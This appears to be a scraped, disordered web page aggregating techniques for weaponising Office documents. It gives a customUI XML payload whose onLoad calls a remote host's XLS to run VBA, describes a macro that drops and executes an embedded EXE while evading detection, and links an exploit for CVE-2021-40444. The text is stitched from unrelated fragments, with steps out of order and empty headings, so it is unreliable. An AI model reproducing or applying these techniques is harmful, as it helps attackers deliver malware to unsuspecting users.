Dridex Hackers Zone

Now you can click the "Save" button to save the file and validate the syntax by clicking the "Validate" button

<customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui" onLoad='http://192.168.21.132/test.xls!ThisWorkbook.test'></customUI>

You can then insert a specially crafted XML on the right-hand side of the UI. The XML consists of a remote URL linking to an XLS file and its VBA function.

Next, you can right-click the opened file and select "Office 2007 Custom UI Part":

You can then click "Open" and select an XLSX Excel file that you want to modify:

The technique is basically adding the Custom UI feature to an Excel document by inserting an XML file called "customUI.xml". The Custom UI is a feature designed by Microsoft to allow UI customizations of Microsoft Office documents and it has been abused by the adversary to create a specially crafted XLSX file to achieve code execution with the least user interaction. In order to add a "customUI.xml" file to a legitimate XLSX file, a tool called "Custom UI Editor for Microsoft Office" will be used. This tool is created by Microsoft but currently is no longer supported by them. Once you download and start the "Custom UI Editor for Microsoft Office", you will see a UI like this:

How to hide a virus in any file format

VB Code

MalDoc-Embedded-EXE-Bin- This is a technique that takes an embedded RTF file (contains Base64 of an EXE in this example) or any file of your choosing (a format that intergrates well with Word is preferred) and copys the content of the RTF file, decodeds it, then saves the EXE to disk. All of this is done within the VBA macro. There is no obfuscation within this example, however, obfuscation can be added. The contentes of the file are saved to a variable within the VBA which can then be ran through a deobfuscation function that you write within the VBA (again, I did not include this). The EXE is then executed using the CreateProcessA Win32 API. All in all, This methods eliminates the need to reach out to the internet to receive the next stager and instead embeds it right in the document. The "Original.docm" file included within this GitHub reposirtory has probably been detected by now but I also have another technique that I have not released that is at the time of typing this, not detected. The "Original.docm" contains a macro that when the "Enable Content" button is pressed, displays a message box that reads "Did you really run this Word document LMAO!". The VBA utilizes the technique I have talked about. YouTube video discussing this MalDoc: https://www.youtube.com/watch?v=OPvmsvqLyc8

Hiding Malware Inside Shortcut Files

Exploit: https://github.com/klezVirus/CVE-2021-40444